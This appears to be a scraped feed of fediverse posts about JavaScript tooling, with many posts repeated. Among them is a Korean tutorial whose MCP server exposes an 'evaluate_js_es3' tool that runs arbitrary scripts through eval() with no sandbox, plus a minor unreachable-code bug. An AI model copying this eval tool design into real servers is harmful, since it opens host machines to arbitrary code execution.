I think it's also another great, if minimal, example to illustrate how otherwise completely separate thi.ng/umbrella packages can seamlessly compose/combine to enable a reactive dataflow UI, all without the need for any virtual DOMs and/or completely over-the-top frameworks like React & co. It's also doing so via mostly JS-native data structures for declaring the UI (plain objects/arrays/iterables) and various constructs directly managing the reactive value streams, thus providing a lot more finegrained control over UI updates/timing/throttling). Any value changes done by the user only trigger specific, pin-point calculations which then result in equally specific UI updates to show new results. Any user action only ever triggers the minimum amount of work needed to reflect the new state.

Calculators:
demo.thi.ng/umbrella/darkroom-

Source code:
codeberg.org/thi.ng/umbrella/s

The attached images show the source code of the entire main app (UI root) and one of the calculators...

Ps. Please let me know if you'd like to see more of these posts in the future. I'm tempted to launch season 2 of (see link below for 30 previous mini projects/tutorials) — but since this is very time consuming to produce & document these projects/examples, and because there has been _very little feedback_ to these previous projects/posts, I first need to gauge interest... Thank you! 🫶

codeberg.org/thi.ng/umbrella#h

Commented TypeScript source code of the linked example project's main UI component
ALT text

Commented TypeScript source code of the linked example project's main UI component

TypeScript source code of the entire reactive "dilution volume" calculator module of the linked example project
ALT text

TypeScript source code of the entire reactive "dilution volume" calculator module of the linked example project

@gnh1201@hackers.pub

어느날, 한가지 계시가 내 앞에 나타났다.

요즘 MCP라는걸 한다던데, 노드(node)니 파이썬(python)이니, vscode니 이런거 까는거보니까 마음이 편치 않아, 우리 고객사 분들도 이걸 원하진 않는단 말이지.

그래서 생각해봤는데, 우린 메모장만 가지고 해보는거 어떤가?

윈도우즈(Windows)에 기본으로 깔린 그 메모장(Notepad)이 떠올랐다면, 그렇다. 바로 그거다.

메모장만을 사용하여 MCP(Model Context Protocol) 서버를 작성할 수 있는지 검증해야 하는 시간이 찾아온 것이다.

운영체제 기본 내장 프로그래밍 엔진

WelsonJS 프레임워크의 사례처럼, 여러가지 이유로 외부 개발 도구의 사용이 극단적으로 제한되는 환경을 위한 프로젝트들이 존재한다.

이러한 프로젝트들은 운영체제에 미리 내장된 프로그래밍 가능한 엔진을 최대한 찾아 이것을 소프트웨어 개발 목적으로 사용한다.

이번에도 운영체제에 기본 내장된 프로그래밍(자바스크립트 기반) 엔진을 사용하여, 외부 개발 도구의 도움 없이 완전한 MCP 서버를 작성해보기로 했다.

MCP 프로토콜의 특성 이해하기

MCP 클라이언트(예: Claude Desktop)이 지원하는 주된 MCP 프로토콜의 통신 수단은 표준입출력(stdio라는 용어로도 불린다)에서 JSON-RPC 2.0 규격으로 통신하는 것이다.

즉. 표준입출력(Stdio) 서버와 JSON-RPC 2.0 규격이라는 두가지 요소를 만족하면 그게 곧 MCP 프로토콜이 된다는 점이다.

단, 표준입출력(Stdio) 채널은 콘솔 메시지(프로그램 실행 중 발생하는 안내 메시지 등)에서 이미 주로 사용하고 있기 때문에, 표준입출력 채널을 서버로 사용하기 위해선 부가 메시지에 데이터가 오염되지 않고 온전하게 오고갈 수 있는 방법을 마련해야 한다.

내 경우는 기존 콘솔 메시지를 제어할 수 있는 옵션을 지원(예: /quiet)를 추가하는 방식으로 해결하였다.

이것을 짧게 정리하면 다음과 같다.

* 요청(Request): MCP Client -> Stdin (JSON-RPC 2.0 request) -> MCP Server
* 응답(Response): MCP Client <- Stdout (JSON-RPC 2.0 response) <- MCP Server

메모장으로 MCP 서버 작성 시작

WelsonJS 프레임워크 기준으로, 미리 구현된 StdioServer와 JsonRpc2 라이브러리를 활용하여 MCP 서버를 작성한다.

이 예제는 add_both_numbers(두 수의 합) 및 evaluate_js_es3(JavaScript 테스트) 함수 호출을 지원한다.

mcploader.js라는 이름으로 저장하면 된다.

// mcploader.js
// Copyright 2019-2026, Namhyeon Go <gnh1201@catswords.re.kr> and the WelsonJS contributors.
// SPDX-License-Identifier: GPL-3.0-or-later
// https://github.com/gnh1201/welsonjs
// 
var StdioServer = require("lib/stdio-server");
var JsonRpc2 = require("lib/jsonrpc2");

function main(args) {
    var server = StdioServer.create();

    server.addEventListener("message", function(e) {
        var message = e.target.receive();

        e.target.send(
            JsonRpc2.extract(message, function (method, params, id) {
                var isError = false;
                
                if (method == "initialize") {
                    return {
                        "protocolVersion": "2025-11-25",
                        "capabilities": {
                            "extensions": {
                                "io.modelcontextprotocol/ui": {
                                    "mimeTypes": ["text/html;profile=mcp-app"]
                                }
                            }
                        },
                        "serverInfo": {
                            "name": "WelsonJS MCP",
                            "version": "1.0.0"
                        },
                        "isError": isError
                    };
                }
                
                if (method === "notifications/initialized") {
                    // DO NOT return anything
                    return false;
                }
                
                if (method == "tools/list") {
                    return {
                        "tools": [
                            {
                                "name": "add_both_numbers",
                                "title": "add both_numbers (add A and B)",
                                "description": "add two numbers (add A and B)",
                                "inputSchema": {
                                    "type": "object",
                                    "properties": {
                                        "a": {
                                            "type": "number"
                                        },
                                        "b": {
                                            "type": "number"
                                        }
                                    },
                                    "required": ["a", "b"]
                                }
                            },
                            {
                                "name": "evaluate_js_es3",
                                "title": "Evaluate JavaScript ES3",
                                "description": "Evaluate JavaScript with ES3 syntax (use ES3 syntax strictly)",
                                "inputSchema": {
                                    "type": "object",
                                    "properties": {
                                        "script": {
                                            "type": "string"
                                        }
                                    },
                                    "required": ["script"]
                                }
                            }
                        ],
                        "isError": isError
                    };
                }

                if (method == "tools/call") {
                    var function_calling_name = params.name;

                    if (function_calling_name == "add_both_numbers") {
                        return {
                            "content": [
                                {
                                    "type": "text",
                                    "text": "Result is " + (parseFloat(params.arguments.a) + parseFloat(params.arguments.b))
                                }
                            ],
                            "isError": isError
                        };
                    }
                    
                    if (function_calling_name == "evaluate_js_es3") {
                        return {
                            "content": [
                                {
                                    "type": "text",
                                    "text": (function(script) {
                                        try {
                                            return String(eval(script));
                                        } catch (e) {
                                            return "Error";
                                            isError = true;
                                        }
                                    })(params.arguments.script)
                                }
                            ]
                        }
                    }
                }

                isError = true;
                return {
                    "isError": isError
                };
            })
        );
    });

    server.listen();
}

exports.main = main;

MCP Client에 등록

Claude Desktop 기준, 설정(claude_desktop_config.json) 파일에 다음 내용을 추가한다.

{
  "mcpServers": {
    "local-tools": {
      "command": "cscript",
      "args": [
        "/nologo",
        "<WelsonJS installation directory>/app.js",
        "mcploader",
        "/quiet"
      ]
    }
  }
}

그리고 Claude Desktop을 재시작하고, 설정의 개발자 메뉴로 들어가 local-tools가 running 상태인지 확인한다.

MCP 결과 확인

Claude Desktop 채팅창으로 돌아가 예시로 들어간 함수가 호출될만한 요청을 해보자.

두개의 숫자를 더해달라는 요청을 하면 add_both_numbers 함수가 호출되면서 두개의 수를 더한 값을 알려줄 것이고, JavaScript ES3 예제를 실행하고 결과를 알려달라는 요청을 하면 evaluate_js_es3 함수가 호출되면서 결과를 얻을 것이다.

@gnh1201@hackers.pub

어느날, 한가지 계시가 내 앞에 나타났다.

요즘 MCP라는걸 한다던데, 노드(node)니 파이썬(python)이니, vscode니 이런거 까는거보니까 마음이 편치 않아, 우리 고객사 분들도 이걸 원하진 않는단 말이지.

그래서 생각해봤는데, 우린 메모장만 가지고 해보는거 어떤가?

윈도우즈(Windows)에 기본으로 깔린 그 메모장(Notepad)이 떠올랐다면, 그렇다. 바로 그거다.

메모장만을 사용하여 MCP(Model Context Protocol) 서버를 작성할 수 있는지 검증해야 하는 시간이 찾아온 것이다.

운영체제 기본 내장 프로그래밍 엔진

WelsonJS 프레임워크의 사례처럼, 여러가지 이유로 외부 개발 도구의 사용이 극단적으로 제한되는 환경을 위한 프로젝트들이 존재한다.

이러한 프로젝트들은 운영체제에 미리 내장된 프로그래밍 가능한 엔진을 최대한 찾아 이것을 소프트웨어 개발 목적으로 사용한다.

이번에도 운영체제에 기본 내장된 프로그래밍(자바스크립트 기반) 엔진을 사용하여, 외부 개발 도구의 도움 없이 완전한 MCP 서버를 작성해보기로 했다.

MCP 프로토콜의 특성 이해하기

MCP 클라이언트(예: Claude Desktop)이 지원하는 주된 MCP 프로토콜의 통신 수단은 표준입출력(stdio라는 용어로도 불린다)에서 JSON-RPC 2.0 규격으로 통신하는 것이다.

즉. 표준입출력(Stdio) 서버와 JSON-RPC 2.0 규격이라는 두가지 요소를 만족하면 그게 곧 MCP 프로토콜이 된다는 점이다.

단, 표준입출력(Stdio) 채널은 콘솔 메시지(프로그램 실행 중 발생하는 안내 메시지 등)에서 이미 주로 사용하고 있기 때문에, 표준입출력 채널을 서버로 사용하기 위해선 부가 메시지에 데이터가 오염되지 않고 온전하게 오고갈 수 있는 방법을 마련해야 한다.

내 경우는 기존 콘솔 메시지를 제어할 수 있는 옵션을 지원(예: /quiet)를 추가하는 방식으로 해결하였다.

이것을 짧게 정리하면 다음과 같다.

* 요청(Request): MCP Client -> Stdin (JSON-RPC 2.0 request) -> MCP Server
* 응답(Response): MCP Client <- Stdout (JSON-RPC 2.0 response) <- MCP Server

메모장으로 MCP 서버 작성 시작

WelsonJS 프레임워크 기준으로, 미리 구현된 StdioServer와 JsonRpc2 라이브러리를 활용하여 MCP 서버를 작성한다.

이 예제는 add_both_numbers(두 수의 합) 및 evaluate_js_es3(JavaScript 테스트) 함수 호출을 지원한다.

mcploader.js라는 이름으로 저장하면 된다.

// mcploader.js
// Copyright 2019-2026, Namhyeon Go <gnh1201@catswords.re.kr> and the WelsonJS contributors.
// SPDX-License-Identifier: GPL-3.0-or-later
// https://github.com/gnh1201/welsonjs
// 
var StdioServer = require("lib/stdio-server");
var JsonRpc2 = require("lib/jsonrpc2");

function main(args) {
    var server = StdioServer.create();

    server.addEventListener("message", function(e) {
        var message = e.target.receive();

        e.target.send(
            JsonRpc2.extract(message, function (method, params, id) {
                var isError = false;
                
                if (method == "initialize") {
                    return {
                        "protocolVersion": "2025-11-25",
                        "capabilities": {
                            "extensions": {
                                "io.modelcontextprotocol/ui": {
                                    "mimeTypes": ["text/html;profile=mcp-app"]
                                }
                            }
                        },
                        "serverInfo": {
                            "name": "WelsonJS MCP",
                            "version": "1.0.0"
                        },
                        "isError": isError
                    };
                }
                
                if (method === "notifications/initialized") {
                    // DO NOT return anything
                    return false;
                }
                
                if (method == "tools/list") {
                    return {
                        "tools": [
                            {
                                "name": "add_both_numbers",
                                "title": "add both_numbers (add A and B)",
                                "description": "add two numbers (add A and B)",
                                "inputSchema": {
                                    "type": "object",
                                    "properties": {
                                        "a": {
                                            "type": "number"
                                        },
                                        "b": {
                                            "type": "number"
                                        }
                                    },
                                    "required": ["a", "b"]
                                }
                            },
                            {
                                "name": "evaluate_js_es3",
                                "title": "Evaluate JavaScript ES3",
                                "description": "Evaluate JavaScript with ES3 syntax (use ES3 syntax strictly)",
                                "inputSchema": {
                                    "type": "object",
                                    "properties": {
                                        "script": {
                                            "type": "string"
                                        }
                                    },
                                    "required": ["script"]
                                }
                            }
                        ],
                        "isError": isError
                    };
                }

                if (method == "tools/call") {
                    var function_calling_name = params.name;

                    if (function_calling_name == "add_both_numbers") {
                        return {
                            "content": [
                                {
                                    "type": "text",
                                    "text": "Result is " + (parseFloat(params.arguments.a) + parseFloat(params.arguments.b))
                                }
                            ],
                            "isError": isError
                        };
                    }
                    
                    if (function_calling_name == "evaluate_js_es3") {
                        return {
                            "content": [
                                {
                                    "type": "text",
                                    "text": (function(script) {
                                        try {
                                            return String(eval(script));
                                        } catch (e) {
                                            return "Error";
                                            isError = true;
                                        }
                                    })(params.arguments.script)
                                }
                            ]
                        }
                    }
                }

                isError = true;
                return {
                    "isError": isError
                };
            })
        );
    });

    server.listen();
}

exports.main = main;

MCP Client에 등록

Claude Desktop 기준, 설정(claude_desktop_config.json) 파일에 다음 내용을 추가한다.

{
  "mcpServers": {
    "local-tools": {
      "command": "cscript",
      "args": [
        "/nologo",
        "<WelsonJS installation directory>/app.js",
        "mcploader",
        "/quiet"
      ]
    }
  }
}

그리고 Claude Desktop을 재시작하고, 설정의 개발자 메뉴로 들어가 local-tools가 running 상태인지 확인한다.

MCP 결과 확인

Claude Desktop 채팅창으로 돌아가 예시로 들어간 함수가 호출될만한 요청을 해보자.

두개의 숫자를 더해달라는 요청을 하면 add_both_numbers 함수가 호출되면서 두개의 수를 더한 값을 알려줄 것이고, JavaScript ES3 예제를 실행하고 결과를 알려달라는 요청을 하면 evaluate_js_es3 함수가 호출되면서 결과를 얻을 것이다.

@toxi@mastodon.thi.ng

tl;dr Using thi.ng/column-store to accelerate tag intersection queries by a factor of 880x...

Working on the static website generator/export plugin for my personal knowledge tool has been one of the main projects this past month. A key part of this setup is tagging, not just simple flat keywords/categories, but actually treating tags as sets. The system doesn't just allow browsing content by a single tag, but also supports adding (or removing) tags to narrow or widen the current topic. E.g. The combination of "3d + geometry + typescript" would select only works which have all of these three tags...

In the local version of my tool there's no limit to the number of tags (and it also supports tag negation), but for the static site generation I have to limit the set size (due to combinatoric explosion) and pre-compute all possible permutations, then create HTML documents for each these individual combinations which actually produce results.

So far I'm having ~400 unique tags in use, meaning if I want to aim for a max set size of 3, there're theoretically ~64,000,000 possibilities to check[1]! For the roughly 3500 content items used for testing, a naive JS approach to filter the result array and only retain items matching the entire current permutation is so extremely slow, that I stopped the process after 3.5 minutes just for the first 250k (aka 0.4%) of the 64 million permutations, i.e. at that rate the full process would have taken ~15 hours, pretty slow for a SSG... :)

Naive approach 🫣:

```
permutation = ["3d", "geometry", "typescript"]
results.filter(item => permutation.every(tag => item.tags.includes(tag)))
```

But since I'm using thi.ng/column-store as my database, such queries can be optimized by a few magnitudes, since here these intersection queries are applied only to bitfields (explained in the pkg readme). This results in all 64+ million permutations being processed in just 62 seconds (1+ million per second). Quite the difference, i.e. ~880x faster than the above approach!

Also, of these 64 million initial possibilities, there're fewer unique ones (excluding duplicates and ignoring ordering), and currently only ~24,000 are actually producing a result. Still, that's 24,000 index pages to generate & host and it's, of course, far, far too much!

So I will have to also spend more effort curating and severely reducing the tag vocabulary, at least the subset used for the website. On the other hand, I think this system will really help with browsing this large body/archive of work much more meaningfully than the boring single-tag/category approach most websites are offering. And it will do so without any backend (other than file hosting)...

[1] Permutations = 400 + 400^2 + 400^3

thi.ng

In-memory column store database with customizable column types, extensible query engine, bitfield indexing for query acceleration, JSON serialization with optional RLE compression

@Kroc@oldbytes.space

No K8s, no Docker, no Node, no React, no , no AI — just 2KB of + and one image. How did we get so far from this when a webpage is 10MB and requires several gigs of dependencies to checkout locally now?

oldbytes.space

Kroc Camen (@Kroc@oldbytes.space)

Attached: 1 image Nothing to see here ¬__¬ #aeonglass #webdev #html #css

@lobsters@mastodon.social
@ayo@ayco.io · Reply to ayo :unverified:

The web is a wonderful, free, and open platform to create and distribute value. You can use **mnswpr** in different ways:
- as a deployed web app
- as a library with `npm i @ayo-run/mnswpr`
- as a `web component` (coming soon).

👉 ayco.io/gh/mnswpr#readme

Usage

The web is a wonderful, free, and open platform to create and distribute value. You can use mnswpr in different ways:

as a deployed web app
as a library with npm i @ayo-run/mnswpr
as a web component (coming soon).
ALT text

Usage The web is a wonderful, free, and open platform to create and distribute value. You can use mnswpr in different ways: as a deployed web app as a library with npm i @ayo-run/mnswpr as a web component (coming soon).

@vnzn@mas.to
@ayo@ayco.io

NPM question: if, say, i have a peerDependency named 'x' which I know uses a package 'y' as its dependency, and I want to use the exact version of 'y' that 'x' uses... is there a way to do that?

@ayo@ayco.io

NPM question: if, say, i have a peerDependency named 'x' which I know uses a package 'y' as its dependency, and I want to use the exact version of 'y' that 'x' uses... is there a way to do that?

@SocketSecurity@fosstodon.org
@botkit@hollo.social

We're excited to announce the release of BotKit 0.3.0! This release marks a significant milestone as now supports .js alongside , making it accessible to a wider audience. The minimum required Node.js version is 22.0.0. This dual-runtime support means you can now choose your preferred runtime while building with the same powerful BotKit APIs.

One of the most requested features has landed: poll support! You can now create interactive polls in your messages, allowing followers to vote on questions with single or multiple-choice options. Polls are represented as ActivityPub Question objects with proper expiration times, and your bot can react to votes through the new onVote event handler. This feature enhances engagement possibilities and brings BotKit to feature parity with major platforms like Mastodon and Misskey.

// Create a poll with multiple choices
await session.publish(text`What's your favorite programming language?`, {
  class: Question,
  poll: {
    multiple: true,  // Allow multiple selections
    options: ["JavaScript", "TypeScript", "Python", "Rust"],
    endTime: Temporal.Now.instant().add({ hours: 24 }),
  },
});

// Handle votes
bot.onVote = async (session, vote) => {
  console.log(`${vote.actor} voted for "${vote.option}"`);
};

The web frontend has been enhanced with a new followers page, thanks to the contribution from Hyeonseo Kim (@gaebalgom)! The /followers route now displays a paginated list of your bot's followers, and the follower count on the main profile page is now clickable, providing better visibility into your bot's audience. This improvement makes the web interface more complete and user-friendly.

For developers looking for alternative storage backends, we've introduced the SqliteRepository through the new @fedify/botkit-sqlite package. This provides a production-ready SQLite-based storage solution with ACID compliance, write-ahead logging (WAL) for optimal performance, and proper indexing. Additionally, the new @fedify/botkit/repository module offers MemoryCachedRepository for adding an in-memory cache layer on top of any repository implementation, improving read performance for frequently accessed data.

This release also includes an important security update: we've upgraded to 1.8.8, ensuring your bots stay secure and compatible with the latest ActivityPub standards. The repository pattern has been expanded with new interfaces and types like RepositoryGetMessagesOptions, RepositoryGetFollowersOptions, and proper support for polls storage through the KvStoreRepositoryPrefixes.polls option, providing more flexibility for custom implementations.

botkit.fedify.dev

Repository | BotKit by Fedify

A repository is a data access object that provides an abstraction over the underlying data source. This document provides an overview of repositories and how they are used in the framework.

@molly0xfff@hachyderm.io

never noticed the glob deprecation warning: "support for old versions may be purchased (at exorbitant rates)"

npm WARN deprecated glob@7.2.3: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
ALT text

npm WARN deprecated glob@7.2.3: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me

@molly0xfff@hachyderm.io

never noticed the glob deprecation warning: "support for old versions may be purchased (at exorbitant rates)"

npm WARN deprecated glob@7.2.3: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
ALT text

npm WARN deprecated glob@7.2.3: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me

@JanMiksovsky@fosstodon.org

This week's comic: Coding in your terminal

More about The ori command-line interface: weborigami.org/cli/
HTML comic: weborigami.org/comics/coding-i

Using ori in a VS Code JavaScript Debug Terminal lets you set breakpoints, inspect variables, and step through code you start from a terminal!

The ori command line tool evaluates JavaScript expressions, calling functions by file name.
ALT text

The ori command line tool evaluates JavaScript expressions, calling functions by file name.

You can easily pass data to JavaScript functions from files, standard input, or directly from a server.
ALT text

You can easily pass data to JavaScript functions from files, standard input, or directly from a server.

You can traverse to the specific part of a function's result that you're interested in.
ALT text

You can traverse to the specific part of a function's result that you're interested in.

This lets you develop code without having to constantly restart a larger application.
ALT text

This lets you develop code without having to constantly restart a larger application.

@JanMiksovsky@fosstodon.org

This week's comic: Coding in your terminal

More about The ori command-line interface: weborigami.org/cli/
HTML comic: weborigami.org/comics/coding-i

Using ori in a VS Code JavaScript Debug Terminal lets you set breakpoints, inspect variables, and step through code you start from a terminal!

The ori command line tool evaluates JavaScript expressions, calling functions by file name.
ALT text

The ori command line tool evaluates JavaScript expressions, calling functions by file name.

You can easily pass data to JavaScript functions from files, standard input, or directly from a server.
ALT text

You can easily pass data to JavaScript functions from files, standard input, or directly from a server.

You can traverse to the specific part of a function's result that you're interested in.
ALT text

You can traverse to the specific part of a function's result that you're interested in.

This lets you develop code without having to constantly restart a larger application.
ALT text

This lets you develop code without having to constantly restart a larger application.

@simon_brooke@mastodon.scot

"The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a interpreter, the code points translate into executable code."

Sigh.

arstechnica.com/security/2026/

arstechnica.com

Supply-chain attack using invisible code hits GitHub and other repositories

Unicode that's invisible to the human eye was largely abandoned—until attackers took notice.

@simon_brooke@mastodon.scot

"The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a interpreter, the code points translate into executable code."

Sigh.

arstechnica.com/security/2026/

arstechnica.com

Supply-chain attack using invisible code hits GitHub and other repositories

Unicode that's invisible to the human eye was largely abandoned—until attackers took notice.

@rauschma@fosstodon.org
@rauschma@fosstodon.org
@abnv@fantastic.earth

I have been using as my feed reader for a couple of years now. It is intentionally minimalistic, and hence it lacks certain features. One thing that I sorely miss is the capability to sort the feed entries by various criteria like entry reading time etc. Thankfully, Miniflux lets users customize the UI by injecting custom code via settings. So I took this in my own hands (see the attached image).

I wrote a note explaining the options, along with the code: notes.abhinavsarkar.net/2025/c

Screenshot of the customized Miniflux reader web app showing a dropdown of sorting options
ALT text

Screenshot of the customized Miniflux reader web app showing a dropdown of sorting options

@JanMiksovsky@fosstodon.org
@JanMiksovsky@fosstodon.org
@publickey1@rss-mstdn.studiofreesia.com
@publickey1@rss-mstdn.studiofreesia.com
@codingjoe@fosstodon.org
@mikaeru@mastodon.social

“Half Mirror” is a mirror effects script for , written in , which applies a “half-size” symmetry effect on an existing image, including possible transparency. The original image is not modified.

🔗 codeberg.org/tonton-pixel/json

Half Mirror sample image: Half Mirror | Top Right
ALT text

Half Mirror sample image: Half Mirror | Top Right

@nullagent@partyon.xyz · Reply to MDN Web Docs
@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

@xoron@infosec.exchange

Signal Protocol for a P2P Webapp

TL;DR: I have open-sourced a implementation of the that compiles to for -based messaging, overcoming the limitations of the official library.

I am sharing my implementation of the Signal Protocol designed specifically for the . While the official libsignal is the gold standard, its targets are often optimized for Node.js, which creates integration challenges for client-side web applications.

My version is built in and compiles to , utilizing to provide robust for decentralized environments. It currently powers the end-to-end security for my messaging project.

Protocol Demo:
signal.positive-intentions.com/

P2P App Demo:
p2p.positive-intentions.com/if

I am looking for feedback from the and community. If you have experience with audits or formal-proof verification, I would appreciate your eyes on the codebase as I work toward a more finished state.

GitHub Repository:
github.com/positive-intentions

signal protocol
ALT text

signal protocol

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

Fedify is an server framework in & . It aims to eliminate the complexity and redundant boilerplate code when building a federated server app, so that you can focus on your business logic and user experience.

The key features it provides currently are:

If you're curious, take a look at the website! There's comprehensive docs, a demo, a tutorial, example code, and more:

https://fedify.dev/

Using the Browser’s <canvas> for Data Compression

When building static websites and Single-Page Applications (SPAs), we sometimes need functionality in JavaScript front ends—such as compression—that is usually handled on the back end instead. […]

🔄 jstrieb.github.io/posts/canvas

jstrieb.github.io

Using the Browser’s <canvas> for Data Compression

Old browsers don’t have JavaScript compression APIs, so we store data in pixel color channels and export to PNG to compress data.

@eatallyourdarlings@mastodon.gamedev.place

finished noodling (for now) on a tiny browser tool to dither images in two colours, forked from @eli_oat :] I added a few features like colour picking to make it extra cute.

try it out at orf.place/tools ~

this has been my first time writing javascript in a year, in a very ad-hoc way. I tried optimising it a bit but idk if it’s ‘good code’ so I’m open to feedback from anyone who cares about that sort of thing!

a screenshot of the dither tool with an image of the Helping Hands from Labyrinth, a freaky face formed by the hands of puppeteers, dithered in two shades of green.
ALT text

a screenshot of the dither tool with an image of the Helping Hands from Labyrinth, a freaky face formed by the hands of puppeteers, dithered in two shades of green.

@JanMiksovsky@fosstodon.org
While developing your static site, you can serve it locally with the Origami server.
ALT text

While developing your static site, you can serve it locally with the Origami server.

You can serve a site defined in standard JavaScript, in the Origami dialect, in a data file, a folder – anything with a tree structure.
ALT text

You can serve a site defined in standard JavaScript, in the Origami dialect, in a data file, a folder – anything with a tree structure.

The server follows a URL through that tree to find a resource.
ALT text

The server follows a URL through that tree to find a resource.

When serving locally, you can view an interactive diagram of your entire site!
ALT text

When serving locally, you can view an interactive diagram of your entire site!

@JanMiksovsky@fosstodon.org
While developing your static site, you can serve it locally with the Origami server.
ALT text

While developing your static site, you can serve it locally with the Origami server.

You can serve a site defined in standard JavaScript, in the Origami dialect, in a data file, a folder – anything with a tree structure.
ALT text

You can serve a site defined in standard JavaScript, in the Origami dialect, in a data file, a folder – anything with a tree structure.

The server follows a URL through that tree to find a resource.
ALT text

The server follows a URL through that tree to find a resource.

When serving locally, you can view an interactive diagram of your entire site!
ALT text

When serving locally, you can view an interactive diagram of your entire site!

@jnkrtech@treehouse.systems

Remember the time after ESLint gained the ability to enforce formatting and before Prettier was released, when different projects would have their own nitpicks around syntax that had to be incessantly fixed by hand? God that sucked. I have minor annoyances with Prettier but life with an autoformatter is just so much better.

"your website doesn't work without javascript"

ah yes you see that's because javascript is part of the website. and you're attempting to cut that part out entirely. for some weird esoteric reason. what did you expect lol? you can't complain when the problem is literally something you've created for yourself. this is like leaving a bad review for a recipe online because you randomly decided to replace one of the core ingredients with something else entirely

this is just something i've heard a good bit and it always irks me

@toxi@mastodon.thi.ng

🎉 Just pushed a new version of the thi.ng/column-store database and query engine which adds support for new column types (fixed-size n-dimensional int/uint/float vectors) and RLE (run-length encoding) compression support for more column types. I also updated/extended the readme and started adding/porting more tests...

Related to these changes is that thi.ng/rle-pack now also offers the `encodeSimple()`/`decodeSimple()` functions which work for arrays of any type. This is in addition to the more advanced bitwise RLE packing offered so far (but only available for integer arrays). The readme for that package also has more code examples now...

Happy Coding! :)

thi.ng

Binary run-length encoding packer w/ flexible repeat bit widths

@ploum@mamot.fr

As I mainly browse the web using =offpunk, which has no JS support, I can say that, yes, some sites require JS.

Some site that, when loaded in a full browser, display only text! Blog posts! Not even pictures or shiny effect. No, a few paragraphs of text.

And they don’t load at all without JS.

What kind of effort does it require to make sure that you straight-text-only blog doesn’t work without ?

Seriously…

@openrisk@mastodon.social · Reply to Open Risk

The journey of is the poster child of out of control . What started as tiny client side code to introduce some interactivity has eaten html itself (virtual ) and then metastasized also on the server side. A gargantuan duplication of functionality between client and server that eventually backlashed into the and type approaches.

When you throw in the explosion of mobile clients (with architectures controlled by a duopoly) you get to the lunacy of today.

Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)

alvinashcraft.com

Dew Drop – February 10, 2026 (#4601) – Morning Dew by Alvin Ashcraft

Top Links Ralph Wiggum Explained: Stop Telling AI What You Want — Tell It What Blocks You (Matt Mattei) Testing ads in ChatGPT (OpenAI Team) – And it begins… Strengthening Windows trust and security through User Transparency and Consent (Logan Iyer) AI Doesn’t Reduce Work—It Intensifies It (Simon Willison) How to Set Up Claude Code … Continue reading Dew Drop – February 10, 2026 (#4601)

alvinashcraft.com

Dew Drop – February 10, 2026 (#4601) – Morning Dew by Alvin Ashcraft

@toxi@mastodon.thi.ng

Random tip & tidbit about unit conversions: I've been sourcing materials for a larger contact printing setup for my kallitype process, incl. getting a much heavier ultra-clear glass plate than what I've been using so far.

Using the thi.ng/units converter with its Lisp-like domain specific language, I can easily compute the following, freely mixing compatible units with complete ease. Using the S-expression DSL is optional. There's also a normal TypeScript/JavaScript API...

```
// weight in kilograms of 48cm x 35cm x 8mm plate
(kg (* 48cm 35cm 8mm glass))
// 3.36

// or use a DIN paper size preset
(kg (* (area din_a3) 8mm glass))
// 2.4948

// calculate force
(newton (* 48cm 35cm 8mm glass earth_gravity))
32.86191

// calculate PSI (pounds per square inch) of the plate on a smaller area
// here for a 6x4" print area example
(psi (/ (* 48cm 35cm 8mm glass earth_gravity) (* 6in 4in)))
// 0.30782

// compare with a simple picture frame
(psi (/ (* 24cm 30cm 2mm glass earth_gravity) (* 6in 4in)))
// 0.03298

// ...the thicker plate causes ~10x more pressure. q.e.d.
```

Maybe someone else finds that useful. The package readme contains a lot more information about possibilities, predefined constants and examples...

thi.ng

Extensible SI unit creation, conversions, quantities & calculations (incl. ~170 predefined units & constants)

